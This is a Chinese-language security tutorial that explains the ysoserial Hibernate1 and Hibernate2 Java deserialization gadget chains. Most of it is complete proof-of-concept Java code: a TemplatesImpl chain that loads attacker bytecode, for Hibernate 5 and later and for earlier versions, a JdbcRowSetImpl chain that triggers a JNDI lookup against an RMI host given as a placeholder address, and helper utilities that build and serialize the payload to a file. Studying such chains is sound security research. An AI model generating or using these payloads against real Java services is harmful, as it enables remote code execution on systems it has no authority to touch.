Java反序列化Hibernate篇

0x00 前言

Hibernate 漏洞并不难,本文就照着 yso 给的链子,给一点思路,主要是希望读者自行调试分析。

本文所使用的函数所封装的 Utils 类在文末给出。

0x01 Hibernate 1

Hibernate >= 5

前置

依赖:先使用 Hibernate >= 5 版本

1
2
3
4
5
<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-core</artifactId>
<version>5.6.15.Final</version>
</dependency>

yso 链子:

1
2
3
4
5
6
7
8
9
10
/**
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
*/

分析

漏洞点在org.hibernate.property.access.spi.GetterMethodImpl类的get()方法:

image-20250328161555467

从方法名上分析这里应该是调用getter,不难想到TemplatesImpl类的getOutputProperties()方法。写个函数放到Utils,后面的主程序展示思路就可以了:

image-20250328161958312

那么链子尾部就链好了,接下来往上找入口。

  • AbstractComponentTuplizer.getPropertyValue():

image-20250328170423837

由于是抽象类,所以选一个子类即可,我选择PojoComponentTuplizer类:

image-20250328170903079

GetterMethodImpl的propertyName属性值不会影响到getter的调用,不知道这里开发者是如何设计的。

  • 往上走是ComponentType.getPropertyValue():

image-20250328205301088

这里需要关注ComponentType的构造方法,我们难以控制ComponentMetamodel类型的参数:

image-20250328205345815

所以我们希望绕过构造器来实例化对象,这样我们就可以利用Java反射机制来对成员变量赋值,而不是利用构造器限定的参数。下面是相关文章:

java魔法类之ReflectionFactory介绍 - strongmore - 博客园

给出对应函数:

image-20250328210010525

这样我们就可以不在乎绝大部分类的构造方法,直接通过ReflectionFactory来构造类实例,并利用反射来对目标类的属性赋值:

image-20250328210247411

其实这两个方法都是利用Java反射机制,相当方便。

  • TypedValue$1.initialize():

下图的流程看起来很长:

image-20250328210622859

先看调用getHashCode()的代码:

image-20250328211119805

大概意思就是创建匿名类,该匿名类的initialize()会接着前文的下链。

initialize()在ValueHolder.getValue()被调用:

image-20250328211325731

再往上走:

image-20250328211412147

TypedValue.hashCode方法。还记得吗,之前怎么对接hashCode方法的?没错,HashMap类。

所以,链子写完了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package Hibernate1_TemplatesImpl;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.internal.util.ValueHolder;
import org.hibernate.property.access.spi.Getter;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;

import java.lang.reflect.Method;
import java.util.HashMap;

import static Utils.Utils.*;
/**
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
*/
public class Main_HibernateGreaterThanOrEqual5 {
public static void main(String[] args) throws Exception{
// 构造 TemplatesImpl
TemplatesImpl templates = getTemplatesImpl();
Method getOutputPropertiesMethod = templates.getClass().getMethod("getOutputProperties");
GetterMethodImpl getterMethod = new GetterMethodImpl(templates.getClass(), "Any words", getOutputPropertiesMethod);
// 构造 PojoComponentTuplizer
Getter[] getters = new Getter[]{getterMethod};
PojoComponentTuplizer pojoComponentTuplizer = getPojoComponentTuplizer(getters);
// 构造 ComponentType
ComponentType componentType = (ComponentType) initObject(ComponentType.class);
setFieldValue(componentType, "componentTuplizer",pojoComponentTuplizer);
setFieldValue(componentType, "propertySpan", 1);
// TypedValue
TypedValue typedValue = (TypedValue) initObject(TypedValue.class);
setFieldValue(typedValue, "value", templates);
setFieldValue(typedValue, "type", componentType);
// HashMap
HashMap<Object, Object> exp = gadgetFromHashmap(typedValue);
serializeToFile(exp);

}
}

有些细节就不说了,都学到Hibernate了,还不懂得自己调试?

Hibernate < 5

前置

依赖:

1
2
3
4
5
<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-core</artifactId>
<version>4.3.11.Final</version>
</dependency>

这两个不能用了:

1
2
import org.hibernate.property.access.spi.Getter;
import org.hibernate.property.access.spi.GetterMethodImpl;

所以需要找平替。平替是BasicPropertyAccessor.BasicGetter.get(),读者自行调试,并不难,这里给个思路就可以了。对了,注意一下readResolve()方法是在反序列化过程中自行调用的。

直接给POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package Hibernate1_TemplatesImpl;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.internal.util.ValueHolder;
import org.hibernate.property.BasicPropertyAccessor;
import org.hibernate.property.Getter;


import java.lang.reflect.Method;
import java.util.HashMap;

import org.hibernate.internal.util.ValueHolder;
import org.hibernate.property.BasicPropertyAccessor;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;

import static Utils.Utils.*;

public class Main_HibernateLessThan5 {
public static void main(String[] args) throws Exception{
// 构造 TemplatesImpl
TemplatesImpl templates = getTemplatesImpl();
Method getOutputPropertiesMethod = templates.getClass().getMethod("getOutputProperties");


BasicPropertyAccessor.BasicGetter basicGetter = (BasicPropertyAccessor.BasicGetter) initObject(BasicPropertyAccessor.BasicGetter.class);
setFieldValue(basicGetter, "clazz", TemplatesImpl.class);
setFieldValue(basicGetter, "propertyName", "outputProperties");
BasicPropertyAccessor.BasicGetter[] getters = new BasicPropertyAccessor.BasicGetter[]{basicGetter};
//
PojoComponentTuplizer pojoComponentTuplizer = getPojoComponentTuplizer1(getters);
// 构造 ComponentType
ComponentType componentType = (ComponentType) initObject(ComponentType.class);
setFieldValue(componentType, "componentTuplizer",pojoComponentTuplizer);
// ValueHolder
ValueHolder valueHolder = (ValueHolder) initObject(ValueHolder.class);
// TypedValue
TypedValue typedValue = (TypedValue) initObject(TypedValue.class);
setFieldValue(typedValue, "value", templates);
setFieldValue(typedValue, "type", componentType);
// HashMap
HashMap<Object, Object> exp = gadgetFromHashmap(typedValue);
setFieldValue(componentType, "propertySpan", 1);
serializeToFile(exp);

}
}

0x02 Hibernate 2

就只是链尾换了一下,利用JDBC调用JNDI服务而已,没啥好说的,直接给POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package Hibernate2_JdbcRowSetImpl;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.internal.util.ValueHolder;
import org.hibernate.property.access.spi.Getter;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;

import javax.sql.rowset.BaseRowSet;
import javax.sql.rowset.JdbcRowSet;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;


import static Utils.Utils.*;

public class Main {
public static void main(String[] args) throws Exception{
// 构造 JdbcRowSetImpl
JdbcRowSetImpl jdbcRowSetImpl = getJdbcRowSetImpl("rmi://xxx.xxx.xxx.xxx:50388/75cb5e");
Method getDatabaseMetaDataMethod = jdbcRowSetImpl.getClass().getMethod("getDatabaseMetaData");
GetterMethodImpl getterMethod = new GetterMethodImpl(jdbcRowSetImpl.getClass(), "111", getDatabaseMetaDataMethod);
// 构造 PojoComponentTuplizer
Getter[] getters = new Getter[]{getterMethod};
PojoComponentTuplizer pojoComponentTuplizer = getPojoComponentTuplizer(getters);
// 构造 ComponentType
ComponentType componentType = (ComponentType) initObject(ComponentType.class);
setFieldValue(componentType, "componentTuplizer",pojoComponentTuplizer);
// ValueHolder
ValueHolder valueHolder = (ValueHolder) initObject(ValueHolder.class);
// TypedValue
TypedValue typedValue = (TypedValue) initObject(TypedValue.class);
setFieldValue(typedValue, "value", jdbcRowSetImpl);
setFieldValue(typedValue, "type", componentType);
// HashMap
HashMap<Object, Object> exp = gadgetFromHashmap(typedValue);
setFieldValue(componentType, "propertySpan", 1);
serializeToFile(exp);
}
}

0x03 Utils

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
package Utils;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import org.hibernate.property.access.spi.Getter;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import sun.reflect.ReflectionFactory;

import javax.sql.rowset.BaseRowSet;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class Utils {
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Class clazz = object.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
public static void serializeToFile(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(object);
}
public static Object deserializeFromFile(String filePath) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
return objectInputStream.readObject();
}
public static HashMap<Object, Object> gadgetFromHashmap(Object o) throws Exception {
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(1,1);
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashMap);
for (Object entry: table){
if (entry != null){
setFieldValue(entry,"key",o);
}
}
return hashMap;
}
public static Object initObject(Class clazz) throws Exception {
//获取ReflectionFactory对象,它本身是单例的
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
//获取Object类的构造器
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
//根据Object构造器创建一个User类的构造器
Constructor<?> constructorForSerialization = reflectionFactory
.newConstructorForSerialization(clazz, constructor);
constructorForSerialization.setAccessible(true);
//实例化对象
return constructorForSerialization.newInstance();
}
public static TemplatesImpl getTemplatesImpl() throws Exception{
TemplatesImpl templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("E://all_test/test_java/com/Unserialize/cc_test/target/classes/Tool/Calc.class"));
setFieldValue(templates, "_name", "Pax");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{code});
return templates;
}
public static JdbcRowSetImpl getJdbcRowSetImpl(String url) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
Class c0 = BaseRowSet.class;
Field dataSourceField = c0.getDeclaredField("dataSource");
dataSourceField.setAccessible(true);
dataSourceField.set(jdbcRowSet,url);
return jdbcRowSet;
}
public static PojoComponentTuplizer getPojoComponentTuplizer(Getter[] getters) throws Exception {
PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) initObject(PojoComponentTuplizer.class);
Class superClass = AbstractComponentTuplizer.class;
Field gettersField = superClass.getDeclaredField("getters");
gettersField.setAccessible(true);
gettersField.set(pojoComponentTuplizer, getters);
return pojoComponentTuplizer;
}
}

结语:本篇比较水,但是本人是对着yso链子,从头一点一点自行调试的。所以希望读者也能静下心来做到此事,很有裨益。